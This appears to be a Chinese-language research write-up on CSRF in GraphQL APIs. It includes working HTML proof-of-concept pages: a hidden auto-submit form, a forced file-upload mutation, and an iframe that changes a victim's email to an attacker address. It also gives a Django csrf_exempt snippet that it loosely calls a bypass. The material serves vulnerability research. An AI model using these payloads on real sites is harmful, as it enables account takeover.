GraphQL查询语言中的CSRF漏洞
概述
GraphQL中的CSRF
OST /graphql HTTP/1.1
Host: redacted
Connection: close
Content-Length: 100
accept: */*
User-Agent: ...
content-type: application/json
Referer: https://redacted/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: ...
{"operationName":null,"variables":{},"query":"{\n user {\n firstName\n __typename\n }\n}\n"}
POST /graphql HTTP/1.1
Host: redacted
Connection: close
Content-Length: 72
accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: https://redacted
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: ...
query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://redacted/graphql" method="POST">
<input type="hidden" name="query" value="{   user {     firstName     __typename   } } " />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
尽管标准Web应用程序中的CSRF通常仅影响少数端点,但GraphQL中的相同问题通常是系统性的。
为了举例说明,研究人员为处理文件上传功能的修改提供了PoC概念证明:
<!DOCTYPE html>
<html>
<head>
<title>GraphQL CSRF file upload</title>
</head>
<body>
<iframe src="https://graphql.victimhost.com/?query=mutation%20AddFile(%24name%3A%20String!%2C%20%24data%3A%20String!%2C%20%24contentType%3A%20String!) %20%7B%0A%20%20AddFile(file_name%3A%20%24name%2C%20data%3A%20%24data%2C%20content_type%3A%20%24contentType) %20%7B%0A%20%20%20%20id%0A%20%20%20%20__typename%0A%20%20%7D%0A%7D%0A&variables=%7B%0A %20%20%22data%22%3A%20%22%22%2C%0A%20%20%22name%22%3A%20%22dummy.pdf%22%2C%0A%20%20%22contentType%22%3A%20%22application%2Fpdf%22%0A%7D"></iframe>
</body>
</html>
第二个问题是由于状态更改的GraphQL操作,在查询中被置于错误的位置(通常是非状态变化的)。实际上,大多数GraphQL服务器实现都遵循这种范例,甚至可以通过GET HTTP方法阻止任何类型的修改。
研究人员发现以下查询发出了状态更改操作:
req := graphql.NewRequest(`
query SetUserEmail($email: String!) {
SetUserEmail(user_email: $email) {
id
}
}
`)
鉴于id值很容易猜到,我们能够创建CSRF PoC:
<!DOCTYPE html>
<html>
<head>
<title>GraphQL CSRF - State Changing Query</title>
</head>
<body>
<iframe width="1000" height="1000" src="https://victimhost.com/?query=query%20SetUserEmail%28%24email%3A%20String%21%29%20%7B%0A%20%20SetUserEmail%28user_email%3A%20%24email%29%20%7B%0A%20%20%20%20id%0A%20%20%20%20email%0A%20%20%7D%0A%7D%0A%26variables%3D%7B%0A%20%20%22id%22%3A%20%22441%22%2C%0A%20%20%22email%22%3A%20%22attacker%40email.xyz%22%2C%0A%7D"></iframe>
</body>
</html>
尽管最常用的GraphQL服务器都具有对CSRF攻击的防护机制,但某些情况下,可以对其进行绕过。例如,如果GraphQL端点使用了graphene-django,可以利用以下方法绕过CSRF防护:
urlpatterns = patterns(
# ...
url(r'^graphql', csrf_exempt(GraphQLView.as_view(graphiql=True))),
# ...
)
研究人员对30个使用GraphQL的端点中对以上漏洞进行了测试。测试结果表明有17个端点易受到CSRF攻击。
END